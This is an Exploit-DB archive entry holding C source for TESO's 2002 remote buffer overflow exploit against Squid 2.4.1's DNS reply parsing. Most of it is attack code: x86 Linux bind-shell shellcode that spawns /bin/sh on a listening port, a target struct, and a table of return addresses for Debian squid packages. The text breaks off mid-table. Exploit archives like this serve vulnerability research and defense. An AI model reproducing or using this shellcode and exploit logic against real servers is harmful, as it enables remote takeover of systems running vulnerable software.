Exploit-DB #347
Description: Squid 2.4.1 - Remote Buffer Overflow
Type: remote
Platform: linux
Date: 2002-05-14
Author: Teso

Exploit:
/* 7350squish - x86/linux squid remote exploit
 *
 * TESO CONFIDENTIAL - SOURCE MATERIALS
 *
 * This is unpublished proprietary source code of TESO Security.
 *
 * The contents of these coded instructions, statements and computer
 * programs may not be disclosed to third parties, copied or duplicated in
 * any form, in whole or in part, without the prior written permission of
 * TESO Security. This includes especially the Bugtraq mailing list, the
 * www.hack.co.za website and any public exploit archive.
 *
 * The distribution restrictions cover the entire file, including this
 * header notice. (This means, you are not allowed to reproduce the header).
 *
 * (C) COPYRIGHT TESO Security, 2001
 * All Rights Reserved
 *
 *****************************************************************************
 * bug found by scut 2001/09/10
 * further research by lorian.
 * exploit by lorian. (beefed up by scut ;)
 *
 * squid-2.4.1/lib/rfc1035.c:278:# logic fuckup, buffer overflow
 */

#define VERSION "0.1"

#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <netinet/ip.h>
#include <netinet/udp.h>

#include <arpa/nameser.h>

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>


typedef struct {
        char *                  desc;           /* distribution */
        unsigned char *         shellcode;
        unsigned int            shellcode_len;

        unsigned long int       retloc;         /* return address location */
        unsigned long int       retaddr;        /* return address */

        /* resource data length, must be (n * 0x40) + 2 */
        unsigned int            rdata_len;

        /* bytes in decoded dns domain until the next chunk starts */
        unsigned int            chunk_start;
} tgt_type;


unsigned char   x86_lnx_loop[] = "\xeb\xfe";

/* x86/linux pic portshell shellcode, by lorian / teso
 * small mods by scut
 *
 * you can exchange it as you like, just obey the conditions:
 *
 *  - sliceable on 4 byte boundaries
 *  - pic in itself (i.e. no jmp/callback tricks, no relative addressing)
 *  - any bytes allowed (NUL, 0x0a, 0x0d, 0x25, ... everything)
 *  - should be small (< 128 bytes at least)
 */
unsigned char   x86_lnx_portshell[] =
        "\x31\xc0"      /* xor   %eax, %eax     */
        "\x99"                  /* cltd                 */
        "\x50"          /* push  %eax           */

        "\xfe\xc0"      /* inc   %al            */
        "\x89\xc3"      /* mov   %eax, %ebx     */

        "\x50"                  /* push  %eax           */
        "\xfe\xc0"      /* inc   %al            */
        "\x50"          /* push  %eax           */

        "\x89\xe1"      /* mov   %esp, %ecx     */
        "\xb0\x66"      /* mov   $0x66, %al     */

        "\xcd\x80"      /* int   $0x80          */
        "\x52"          /* push  %edx           */
        "\x90"                  /* nop                  */

        "\x66\x68\x50\x73"      /* pushw $0x7350 */     /* port number */

        "\x66\x52"      /* push  %dx            */
        "\x89\xe2"      /* mov   %esp, %edx     */

        "\x6a\x10"      /* push  $0x10          */
        "\x52"          /* push  %edx           */
        "\x50"                  /* push  %eax           */

        "\x89\xe1"      /* mov   %esp, %ecx     */
        "\xfe\xc3"      /* inc   %bl            */

        "\x89\xc2"      /* mov   %eax, %edx     */
        "\xb0\x66"      /* mov   $0x66, %al     */

        "\xcd\x80"      /* int   $0x80          */
        "\x90"          /* nop                  */
        "\x90"                  /* nop                  */

        "\x80\xc3\x02"  /* add   $0x02, %bl     */
        "\x90"                  /* nop                  */

        "\xb0\x66"      /* mov   $0x66, %al     */
        "\xcd\x80"      /* int   $0x80          */

        "\x50"          /* push  %eax           */
        "\x52"                  /* push  %edx           */
        "\x89\xe1"      /* mov   %esp, %ecx     */

        "\xfe\xc3"      /* inc   %bl            */
        "\xb0\x66"      /* mov   $0x66, %al     */

        "\xcd\x80"      /* int   $0x80          */
        "\x89\xc3"      /* mov   %eax, %ebx     */

        "\x31\xc9"      /* xor   %ecx, %ecx     */
        "\xb0\x3f"      /* mov   $0x3f, %al     */

        "\xcd\x80"      /* int   $0x80          */
        "\xfe\xc1"      /* inc   %cl            */

        "\xb0\x3f"      /* mov   $0x3f, %al     */
        "\xcd\x80"      /* int   $0x80          */

        "\xb0\x0b"      /* mov   $0x0b, %al     */
        "\x99"          /* cltd                 */
        "\x52"          /* push  %edx           */

        "\x66\x68\x73\x68"      /* pushw  $0x6873 */

        "\x66\x68\x6e\x2f"      /* pushw  $0x2f6e */

        "\x66\x68\x62\x69"      /* pushw  $0x6962 */

        "\x66\x68\x2f\x2f"      /* pushw  $0x2f2f */

        "\x89\xe3"      /* mov   %esp, %ebx     */
        "\x52"          /* push  %edx           */
        "\x53"          /* push  %ebx           */

        "\x89\xe1"      /* mov   %esp, %ecx     */
        "\xcd\x80"      /* int   $0x80          */
        "";

#define X86_LNX_PS_PORT_HIGH    22
#define X86_LNX_PS_PORT_LOW     23


tgt_type targets[] = {
        { "DEBUG: crash target", x86_lnx_loop, sizeof (x86_lnx_loop) - 1,
                0x55555555, 0x66666666, 0x0182, 288 },

/* XXX: not yet working, fixme
        { "Debian sid - squid_2.3.4-2_i386.deb",
                x86_lnx_portshell, sizeof (x86_lnx_portshell) - 1,
                0x080ee434, 0x080dcc2f, 0x0182, 288 },
*/

        { "Debian sid - squid_2.4.1-1_i386.deb",
                x86_lnx_portshell, sizeof (x86_lnx_portshell) - 1,      0x080df07c, 0x080f0f90, 0x0182, 
288 },         { "Debian sid - squid_2.4.1-2_i386.deb",